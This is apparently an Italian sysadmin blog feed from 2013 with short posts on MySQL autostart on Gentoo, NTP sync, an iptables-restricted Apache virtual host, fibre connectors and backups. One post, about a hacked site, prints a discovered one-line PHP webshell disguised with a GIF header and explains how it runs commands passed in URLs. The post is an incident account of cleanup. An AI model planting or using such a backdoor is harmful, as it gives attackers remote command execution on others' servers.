Il blog sull'informatica

L'importanza dell'ora di sistema per un DBMS

noreply@myblog.it (nazarenolatella) — Wed, 08 May 2013 10:00:00 +0200

Se avete intenzione di modificare la data o l'ora di un sistema che ospita un DBMS (oppure entrambe) tenete bene a mente quanto segue: "Spostare il datetime in avanti non dovrebbe causare grossi problemi, ma sportarlo indietro potrebbe comportare il crash del DBMS o, ancora peggio, l'inconsistenza dei record".

Infatti, tutti i DBMS in circolazione associano solitamente un timestamp ai vari record... ed il timestamp, ovviamente, attinge dalla data e dall'ora del SO.

Dunque pensateci bene prima di fare una modifica del genere.

Alla prossima.

Gentoo e MySQL all'avvio

noreply@myblog.it (nazarenolatella) — Mon, 06 May 2013 09:04:00 +0200

Per installare un nuovo servizio su una macchina Gentoo è molto conveniente utilizzare il packet manager di cui è dotata, ovvero emerge.

Potrebbe succedere, però, che la versione del servizio richiesta sia più datata rispetto a quella presente nei repository ufficiali di emerge, ergo è necessario scaricare i sorgenti dell'applicativo e successivamente compilarli mediante gcc.

Nella fattispecie, il servizio oggetto del presente post è MySQL, che dovrà essere avviato automaticamente al boot del sistema operativo.

Generalmente MySQL mette a disposizione uno script di avvio per le distro più diffuse, da posizionare all'interno della directory /etc/init.d.

Purtroppo la versione di MySQL che ho scaricato non conteneva al suo interno uno script di startup per Gentoo e per quindi ho dovuto escogitare una specie di workaround.

Mi spiego meglio: affinchè il comando rc-update add mysqld boot possa funzionare, è necessario che lo script in questione (mysqld) contenga del codice specifico da dare in pasto al binario /sbin/runscript. Infatti, è proprio grazie ad esso che il SO riconosce lo script e lo lancia durante lo specifico runlevel.

La cosa fuorviante è che, nonostante mysqld non contenesse all'interno la chiamata al binario /sbin/runscript (essendo un semplice script bash) il comando rc-update non ha restituito alcun errore.

Infatti, un semplice rc-update mi ha mostrato il servizio correttamente assegnato al runlevel:

mysqld | boot

Per capirci qualcosa in più ho deciso di abilitare il logging del demone rc, editando il file /etc/rc.conf:

rc_logger="YES"

Dopo il riavvio della macchina ho quindi analizzato il file /var/log/rc.log, il quale non ha mostrato nessun tentativo di avvio per mysqld. Ed è stato proprio in questo momento che ho capito dove stava il problema: mysqld era uno script bash e non runscript.

Per farla breve, il workaround di cui vi ho accennato precedentemente è il seguente:

1) all'interno della directory /etc/local.d ho creato lo script mysqld.start, il cui contenuto è:

#!/bin/sh
/etc/init.d/mysqld start

2) ho convertito il suddetto script in eseguibile, mediante il comando:

server local.d # chmod +x mysqld.start

A questo punto, in virtù del fatto che Gentoo durante la fase di boot esegue tutti gli script presenti all'interno di /etc/local.d, ho finalmente ottenuto l'avvio automatico di MySQL.

E' tutto.

Alla prossima.

NTP ed SNTP sync

noreply@myblog.it (nazarenolatella) — Thu, 02 May 2013 12:21:00 +0200

Se il vostro enviroment possiede N macchine Windows con il servizio NTP attivo (quello nativo) ed una sorgente di sincronizzazione basata su un server SNTP (Simple Network Time Protocol), allora vedrete aumentare la deriva temporale (aka delay) a dismisura.

Infatti, è possibile consentire la sincronizzazione di un server SNTP da una sorgente NTP, MA NON VICEVERSA.

Alla prossima.

Apache virtual host su IP pubblico dedicato

noreply@myblog.it (nazarenolatella) — Mon, 29 Apr 2013 09:25:04 +0200

Scenario

Un virtual host di Apache che deve essere accessibile solo da determinati indirizzi IP pubblici.

Problema

Sulla macchina sono presenti anche altri virtual host "pubblici".

Soluzione

Mettere in bind il virtual host in oggetto su un indirizzo IP pubblico dedicato e successivamente creare delle regole ad hoc mediante Iptables.

Per prima cosa occorre creare un'interfaccia virtuale da associare all'indirizzo IP pubblico dedicato. Su CentOS tale operazione è piuttosto banale e consta dei seguenti passi:

1) Creo il file contenente i parametri dell'interfaccia all'interno della directory /etc/sysconfig/network-scripts/:

[root@server network-scripts]# sudo nano ifcfg-eth0:0

il cui contenuto dovrà essere simile al seguente:

DEVICE=eth0:0
ONBOOT=yes
HWADDR=
IPADDR=<indirizzo IP pubblico>
NETMASK=<netmask>
BROADCAST=<indirizzo di broadcast>
GATEWAY=<indirizzo del default gw>
NETWORK=
TYPE=Ethernet

2) Attivo l'interfaccia virtuale e mi sincero che sia effettivamente operativa:

[root@server network-scripts]# ifup eth0:0

[root@server network-scripts]# ifconfig

il cui output dovrebbe essere simile al seguente:

eth0:0    Link encap:Ethernet HWaddr <mac address>
          inet addr:<indirizzo IP> Bcast:<indirizzo di broadcast> Mask:<netmask>
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          Interrupt:169 Memory:fb5e0000-fb600000

Successivamente creo la configurazione del virtual host all'interno della directory /etc/httpd/vhosts.d/:

[root@server vhosts.d]# nano privatevhost.conf

il cui contenuto dovrà essere:

Listen <ip pubblico assegnato all'interfaccia virtuale>:80
NameVirtualHost <ip pubblico assegnato all'interfaccia virtuale>:80

<VirtualHost <ip pubblico assegnato all'interfaccia virtuale:80>
ServerName privatevhost.dominio.com
ServerAlias privatevhost.dominio.com

DocumentRoot /var/www/virtual/privatevhost.dominio.com/htdocs

ErrorLog /var/www/virtual/privatevhost.dominio.com/logs/error.log
CustomLog /var/www/virtual/privatevhost.dominio.com/logs/access.log combined
#ServerSignature Off

Redirect 404 /favicon.ico

<Location /favicon.ico>
ErrorDocument 404 "No favicon"
</Location>

</VirtualHost>

Lancio un reload della configurazione di Apache per rendere effettive le suddette modifiche:

[root@server vhosts.d]# service httpd reload

A questo punto posso procedere con la creazione dei filtri di accesso mediante iptables:

iptables -F
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

iptables -A INPUT -s <IP sorgente consentito>/32 -d <IP pubblico assegnato all'interfaccia virtuale>/32 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -s <IP sorgente consentito>/32 -d <IP pubblico assegnato all'interfaccia virtuale>/32 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -s <IP sorgente consentito>/32 -d <IP pubblico assegnato all'interfaccia virtuale>/32 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -s <IP sorgente consentito>/32 -d <IP pubblico assegnato all'interfaccia virtuale>/32 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -d <IP pubblico assegnato all'interfaccia virtuale>/32 -j LOG --log-prefix "Private Area Access Attempt:" --log-level 4
iptables -A INPUT -d <IP pubblico assegnato all'interfaccia virtuale>/32 -p ICMP -j ACCEPT
iptables -A INPUT -d <IP pubblico assegnato all'interfaccia virtuale>/32 -j DROP

exit 0

In soldoni, ho prima consentito l'accesso via Web al suddetto virtual host solo a determinati indirizzi IP pubblici. Successivamente ho impostato una regola per il logging dei tentativi di accesso non autorizzati, consentendo solo il traffico ICMP (aka ping) proveniente da qualunque indirizzo sorgente (per questione di praticità durante le eventuali operazioni di diagnostica).

Infine ho droppato tutto il traffico diretto all'interfaccia virtuale che non rispetta nessuna delle regole definite in precedenza.

Copio le suddette regole all'interno del file /etc/rc.local per renderle attive anche dopo eventuali reboot della macchina e facciamo alcuni test per verificare che tutto funzioni correttamente (tentativo di accesso via Browser al virtual host, prima da indirizzo IP consentito e successivamente da indirizzo IP non consentito).

Inoltre, per loggare i tentativi di accesso non autorizzati, occorre modificare la configurazione del file syslog.conf, aggiungendo la seguente entry all'inizio del file in questione:

kern.warning /var/log/iptables.log

Infine, lancio un restart del demone di logging:

[root@server vhosts.d]# service syslog restart

E' tutto, alla prossima.

Ancora un sito violato

noreply@myblog.it (nazarenolatella) — Thu, 25 Apr 2013 12:39:00 +0200

Recentemente ho dovuto fare un po' di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).

Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:

xxx.php

il cui contenuto era semplice ma abbastanza esplicativo:

GIF89a
<?php system("$_GET[cmd]"); exit; ?>

In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.

Per intenderci, utilizzando una URL forgiata nel seguente modo:

http://www.sito.com?ls

sarebbe stato possibile per l'attaccante listare il contenuto delle directory, oppure, mediante:

http://www.sito.com?ping%20indirizzoip

avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).

Ovviamente, i comandi a disposizione dell'attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.

Fortunatamente, l'hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:

Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2

Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.

E' tutto.

PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.

Fibra ottica: overview sui connettori

noreply@myblog.it (nazarenolatella) — Mon, 22 Apr 2013 10:00:00 +0200

La fibra ottica ha rappresentato una vera e propria rivoluzione nell'ambito delle reti di telecomunicazioni, poichè in grado di coprire lunghe distanze, offrendo una banda teoricamente illimitata.

Senza dilungarmi troppo sulle caratteristiche di tale mezzo trasmissivo, vorrei approfondire la tematica dei connettori. Infatti, non ne esiste soltanto un tipo, poichè, col passare degli anni, i diversi vendor hanno cercato di rendere predominante la tipologia sviluppata all'interno dei propri laboratori. I tipi di connettori maggiormente diffusi sono i seguenti:

1) ST (Straight Tip), utilizzato soprattutto nellambito delle LAN e delle fibre multimodali (che per definizione coprono una distanza << rispetto alle fibre monomodali);

2) LC (connettore sviluppato da Lucent, ora Alcatel-Lucent), è uno dei connettori più diffusi e garantisce velocità superiori a 10 Gbps (è anche il più recente tra i connettori SFF - small-form factor);

3) SC (Subscriber Connector), come i connettori LC supporta velocità di trasmissione superiori a 10 Gbps;

4) MT-RJ, ovvero uno dei primi connettori SFF, riunisce in "un unico corpo" sia la fibra in TX che quella in RX (a differenza dei connettori LC, in cui TX ed RX sono separati e per questo si parla di "bretelle")

Per quanto mi riguarda, dal punto di vista della mia (seppur ancora breve) esperienza con la fibra ottica, posso affermare che i cassetti ottici sono solitamente datati di porte per connettori SC, mentre i dispositivi di rete ad essi collegati possiedono dei moduli aggiuntivi SFP per connettori LC.

Alla prossima.

Backup differenziali ed incrementali

noreply@myblog.it (nazarenolatella) — Thu, 18 Apr 2013 12:04:55 +0200

Volete ripristinare dei backup ed avere la certezza (sempre con i dovuti scongiuri e Murphy permettendo) che tutto funzionerà a dovere? Allora seguite questa regola:

"Non mischiare MAI backup incrementali e differenziali"

potreste avere delle brutte sorprese in fase di ripristino...

Alla prossima.

PS: per maggiori informazioni sulle tipologie di backup potete consultare questo post.